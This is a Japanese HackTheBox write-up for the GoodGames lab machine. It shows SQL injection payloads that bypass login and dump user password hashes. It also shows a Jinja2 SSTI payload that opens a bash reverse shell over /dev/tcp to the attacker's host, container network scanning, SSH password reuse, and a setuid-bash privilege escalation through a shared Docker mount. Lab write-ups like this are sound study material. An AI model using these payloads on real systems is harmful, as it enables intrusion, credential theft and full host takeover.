【HackTheBox】GoodGames WriteUp
はじめに
今回はlinuxマシンのGoodGamesをやっていきます。Injection,SSTI,dockerコンテナと盛りだくさんの内容でした。とても楽しかったです。
やること
- ポートスキャン
- Httpを発見、websiteを覗く
- ユーザページがあるみたいなのでユーザページに入り込む
- 実はSQL Injectionでログインバイパスが可能
- ついでにDBの中身も抜けることがわかった
- パスワードを抜きとる
- adminでログインページに行くと別のリンクがある
- 新しいドメインの発見、ログインする
- プロフィールにはSSTI脆弱性がある
- そこからreverse shellでシェルをとる(user flag)
- マシンに接続したが実はdockerコンテナ内だった
- マシンホストを探します
- 特権昇格を行うのにマシンホストとコンテナが同じフォルダを共有していることが判明、しかも片方はroot権限持ち
- ユーザ権限で作ったbashをroot権限の方で塗り替える
- bashの実行、特権昇格完了(root flag)
Enumeration
Nmapポートスキャン
毎回恒例のスキャンです。
nmap -sC -sV goodgames.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-21 10:09 EST
Nmap scan report for goodgames.htb (10.129.88.0)
Host is up (0.12s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.48
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.93 seconds
80しか空いてない???
Feroxbuster
200 GET 728l 2070w 33387c http://goodgames.htb/signup
200 GET 730l 2069w 32744c http://goodgames.htb/forgot-password
403 GET 9l 28w 278c http://goodgames.htb/server-status
200 GET 287l 620w 10524c http://goodgames.htb/coming-soon
200 GET 267l 553w 9294c http://goodgames.htb/password-reset
うーん特に?
Check header
curl -I http://goodgames.htb
HTTP/1.1 200 OK
Date: Tue, 21 Feb 2023 15:30:38 GMT
Server: Werkzeug/2.0.2 Python/3.9.2
Content-Type: text/html; charset=utf-8
Content-Length: 85107
これも特に
Searchsploit
searchsploit werkzeug 2.0.2
Exploits: No Results
Shellcodes: No Results
何もなし
Check the website
Flaskがありますねpython?
Signin
ログイン画面があります。ユーザを作って入りましょう。
Signup
Login!
Foothold
SQL Injection
実はSQL Injectionができます。
ログインバイパス
email=' or 1=1-- -&password=tofu
これを投げ込むとバイパスできます。
ダブルダッシュはコメント、そのあとのシングルダッシュはスペースが消されるのを防ぐとかなんとか。
Burp suiteでも確認します。
<h2 class="h4">Welcome admintohtofu</h2>
事前にtohとtofuというユーザを登録していたので、全員の名前が出てきているようです。
Union injection
実際にテーブルの中身もみたいですね。
Union injectionはカラムのサイズと一致しないといけないので1,2,3,4,5,6..と試して一致したところで止めます。今回は4つでlogin successとなりました。
email=' union all select 1,2,3,4-- -&password=tofu
<h2 class="h4">Welcome 4</h2>
Get database name
データベース名をとります。
email=' union select 1,2,3,database()-- -&password=tofu
<h2 class="h4">Welcome main</h2>
Check all schemes
スキーマを調べます。
email=' union all select 1,2,3, concat(schema_name,':') from information_schema.schemata-- -&password=tofu
need to put concat for field padding, schema name is main?
<h2 class="h4">Welcome information_schema:main:</h2>
一つしか内容です。
Check all tables
email=' union all select 1,2,3, concat(table_name,':') from information_schema.tables where table_schema = 'main'-- -&password=tofu
すべてのテーブルを調べます。
<h2 class="h4">Welcome blog:blog_comments:user:</h2>
3つありました。
Get column name
userが気になるのでuserのカラムをとってきます。
email=' union all select 1,2,3, concat(column_name,':') from information_schema.columns where table_name = 'user'-- -&password=tofu
<h2 class="h4">Welcome id:email:password:name:</h2>
Get user items
カラムの中身をすべて列挙します。
email=' union all select 1,2,3, concat(id,':',email,':',password,':',name,':') from user-- -&password=tofu
<h2 class="h4">Welcome 1:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec:admin:2:toh@gmail.com:eaee0cdd2c82e89f15078ff33ca37e46:toh:3:t@gmail.com:5df7f1701b778d03d57456afea567922:tofu:</h2>
パスワードハッシュとユーザ名が出てきましたね。
Admin password
1:admin@goodgames.htb:2b22337f218b2d82dfc3b6f77e7cb8ec:admin
Crack hash
クラックできることを祈ります。
md5でパスワードはsuperadministratorでした。Login as admin
ログインします。
新しい歯車のアイコンがあります、そこに行くと新しいドメインが出てきました。
/etc/hosts
に追加します。
flask login
Volt login
Themesverg - Coded by AppSeed
SSTI
SSTIができるようです。
SSTI checklist
以下のサイトに試すべきペイロードがあります。
${7*7}
はダメでしたが {{7*7}}
がうまくいきました。
{{7*'7'}}
これも大丈夫みたいですね。
idも見ます
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
Reverse shell
この調子でリバースシェルを送り付けます。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.14.17/1234 0>&1"').read() }}
Kaliマシンで待ち受けます。
nc -lvpn 1234
Upgrade shell
shellが半壊しているので、直します。
python -c 'import pty; pty.spawn("/bin/bash")'
User flag as augustus
Augustusのフラッグが取れました!
root@3a453ab39d3d:/home/augustus# cat user.txt
cat user.txt
Privilege Escalation
whoamiをするとrootと出てきますし、なぜもうroot???
Enumeration
Dockerenv
dockerenvがあります。
root@3a453ab39d3d:/# ls -al
ls -al
total 88
drwxr-xr-x 1 root root 4096 Nov 5 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
-rwxr-xr-x 1 root root 0 Nov 5 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Nov 5 2021 backend
drwxr-xr-x 1 root root 4096 Nov 5 2021 bin
drwxr-xr-x 2 root root 4096 Oct 20 2018 boot
drwxr-xr-x 5 root root 340 Feb 22 10:15 dev
drwxr-xr-x 1 root root 4096 Nov 5 2021 etc
drwxr-xr-x 1 root root 4096 Nov 5 2021 home
drwxr-xr-x 1 root root 4096 Nov 16 2018 lib
drwxr-xr-x 2 root root 4096 Nov 12 2018 lib64
drwxr-xr-x 2 root root 4096 Nov 12 2018 media
drwxr-xr-x 2 root root 4096 Nov 12 2018 mnt
drwxr-xr-x 2 root root 4096 Nov 12 2018 opt
dr-xr-xr-x 177 root root 0 Feb 22 10:15 proc
drwx------ 1 root root 4096 Nov 5 2021 root
drwxr-xr-x 3 root root 4096 Nov 12 2018 run
drwxr-xr-x 1 root root 4096 Nov 5 2021 sbin
drwxr-xr-x 2 root root 4096 Nov 12 2018 srv
dr-xr-xr-x 13 root root 0 Feb 22 10:22 sys
drwxrwxrwt 1 root root 4096 Nov 5 2021 tmp
drwxr-xr-x 1 root root 4096 Nov 12 2018 usr
drwxr-xr-x 1 root root 4096 Nov 12 2018 var
Check users
root@3a453ab39d3d:/# cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
autustusがいないのはなんだかおかしいですね。
root@3a453ab39d3d:/home/augustus# ls -al
ls -al
total 24
drwxr-xr-x 2 1000 1000 4096 Nov 3 2021 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r----- 1 1000 1000 33 Feb 22 10:16 user.txt
Check mount
マウントも調べます
/dev/sda1 on /home/augustus type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
augustusがいますね。
Container
名前をよく見てみるとdockerっぽい名前をしています!もしかしたらdockerコンテナ内にいる???
root@3a453ab39d3d:/backend# ls
ls
Dockerfile
project
requirements.txt
Ifconfig
ネットワーク周りも見てみましょう。
root@3a453ab39d3d:/home/augustus# ifconfig
ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.19.0.2 netmask 255.255.0.0 broadcast 172.19.255.255
ether 02:42:ac:13:00:02 txqueuelen 0 (Ethernet)
RX packets 557 bytes 84085 (82.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 419 bytes 214014 (208.9 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Ping scan
最初のIPの3つは大体わかるのでそれ以外を見てみます。172.19.0.*をすべてpingします。
root@3a453ab39d3d:/backend# for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
<grep "bytes from" | grep -v "Unreachable" &); done;
64 bytes from 172.19.0.1: icmp_seq=1 ttl=64 time=0.104 ms
64 bytes from 172.19.0.2: icmp_seq=1 ttl=64 time=0.026 ms
172.19.0.1が少し遠いので怪しいですね。
Port scan
ポートスキャンもします。
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
80と22が空いています。SSHできそうです。
ssh to augustus@goodgames
いままでと同じパスワードを使ってaugustusにsshで入り込みます。半壊のshellでは入れませんのでちゃんとアップグレードします。
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
ssh augustus@172.19.0.1
Pseudo-terminal will not be allocated because stdin is not a terminal.
Host key verification failed.
root@3a453ab39d3d:/backend# python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
ssh augustus@172.19.0.1
The authenticity of host '172.19.0.1 (172.19.0.1)' can't be established.
ECDSA key fingerprint is SHA256:AvB4qtTxSVcB0PuHwoPV42/LAJ9TlyPVbd7G6Igzmj0.
Are you sure you want to continue connecting (yes/no)? yes
yes
Warning: Permanently added '172.19.0.1' (ECDSA) to the list of known hosts.
augustus@172.19.0.1's password: superadministrator
Linux GoodGames 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
augustus@GoodGames:~$
Hostname
ホストネームを見ます。
augustus@GoodGames:~$ hostname -I
hostname -I
10.129.113.82 172.17.0.1 172.19.0.1 dead:beef::250:56ff:feb9:e276
sudo -l
sudo -lはダメでした。
augustus@GoodGames:~$ sudo -l
sudo -l
-bash: sudo: command not found
Check docker
dockerを調べます。
augustus@GoodGames:~$ ps aux | grep docker
ps aux | grep docker
root 708 0.0 2.1 1457424 86212 ? Ssl 10:14 0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 1143 0.0 0.1 1148904 7524 ? Sl 10:15 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8085 -container-ip 172.19.0.2 -container-port 8085
augustus 2608 0.0 0.0 6248 704 pts/0 S+ 11:01 0:00 grep docker
コンテナとホストでファイルを作成する
実はコンテナとホストがつながっているかもしれません。なので両方でファイルを作って見ます。
Container
tofu2.txtを作りました。
root@3a453ab39d3d:/home/augustus# ls -al
ls -al
total 32
drwxr-xr-x 2 1000 1000 4096 Feb 22 11:31 .
drwxr-xr-x 1 root root 4096 Nov 5 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r--r-- 1 1000 1000 5 Feb 22 11:30 tofu1.txt
-rw-r--r-- 1 root root 6 Feb 22 11:31 tofu2.txt
-rw-r----- 1 1000 1000 33 Feb 22 10:16 user.txt
root@3a453ab39d3d:/home/augustus#
Host
tofu1.txtを作りました。
augustus@GoodGames:~$ ls -al
ls -al
total 32
drwxr-xr-x 2 augustus augustus 4096 Feb 22 11:31 .
drwxr-xr-x 3 root root 4096 Oct 19 2021 ..
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 augustus augustus 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 augustus augustus 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 augustus augustus 807 Oct 19 2021 .profile
-rw-r--r-- 1 augustus augustus 5 Feb 22 11:30 tofu1.txt
-rw-r--r-- 1 root root 6 Feb 22 11:31 tofu2.txt
-rw-r----- 1 augustus augustus 33 Feb 22 10:16 user.txt
お互い見れるみたいですね。
Run bash as root
お互いにファイルが見えるということは、bashをユーザ側で作ってコンテナ(root権限あり)の方で権限を変えてしまえばrootとしてbashが起動できてしまいますね。
On augustus
cp /bin/bash .
bashを今のフォルダにコピーします。
On container
chown root:root bash
chmod 4777 bash
Setuidがあるとaugustusがrootとしてbashを実行できるようになるので大事です。
On augustus again
./bash -p
-pがあると権限が変わらないのでそのままrootに特権昇格できます。
root flag
/root以下にあります。
参考
Discussion